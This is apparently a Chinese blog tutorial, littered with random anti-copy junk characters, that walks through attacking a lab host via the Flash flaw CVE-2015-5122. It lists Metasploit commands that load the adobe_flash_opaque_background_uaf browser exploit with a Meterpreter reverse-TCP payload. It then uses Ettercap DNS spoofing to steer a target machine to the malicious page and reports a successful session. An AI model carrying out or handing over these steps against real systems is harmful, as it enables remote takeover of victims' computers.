cve2015-5122漏洞实例演示虚拟机

admin

; Y: D& q4 F4 o9 o# L 二、cve2015-5122漏洞实例演示虚拟机 8 p P j1 Z/ {: `, y( e% d

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： ( ]0 E$ T6 b$ \2 Z/ x# E

8 e4 a' K8 h' A7 y$ E7 A$ n

9 J9 e6 k0 d$ @! B, a( C search cve-2015-5122如图：

: N! E8 k: @# U0 \' b

# M7 }. i1 D7 H# ?  

- h: _% @# j8 I! k. D8 ?

0 J) y. E+ s( V1 ^, P 下面我们敲如下命令： & u }& j% j% s% _5 u; h% T4 ]

5 y0 e* @# Z4 o use exploit/multi/browser/adobe_flash_opaque_background_uaf

: f1 I, M! C7 @2 U9 }

set PAYLOAD windows/meterpreter/reverse_tcp

$ M' \! p) ?4 q3 \. ?9 Y

set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 " R7 G) b z0 i4 n. D0 J

- q/ O# @% k! d( ~

, F9 R$ F" E+ M n2 [6 x2 ~8 l set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 ( F# z W5 t8 H* C' K3 {9 Y

( \- L T+ h& m" K0 f$ f: y* \6 T' u 然后show options如图： ( w L: Z' Q! r) H

 

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 * m4 S8 @* Z/ Z0 z% c4 S

* t. m; _0 a6 d! J5 Q

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

7 P6 X* B& [' Z% ?1 P4 v% W

/ G- _0 @. x) F7 ]; w6 U. c$ b, o  

1 j4 S$ d/ [3 {' J

成功了，这时候我们断开ettercap，如图：

$ O5 o3 x! _2 _) ~% x0 f

5 B; [ F7 O$ w3 b   & \% N7 i& g) s5 ?# j/ o

. Q( ?0 }: y- y4 ? V Screenshot如图： \" G+ n: m' D2 v6 m) V

* u' j* T$ l1 Q. G

' |0 h! H* b z( m& S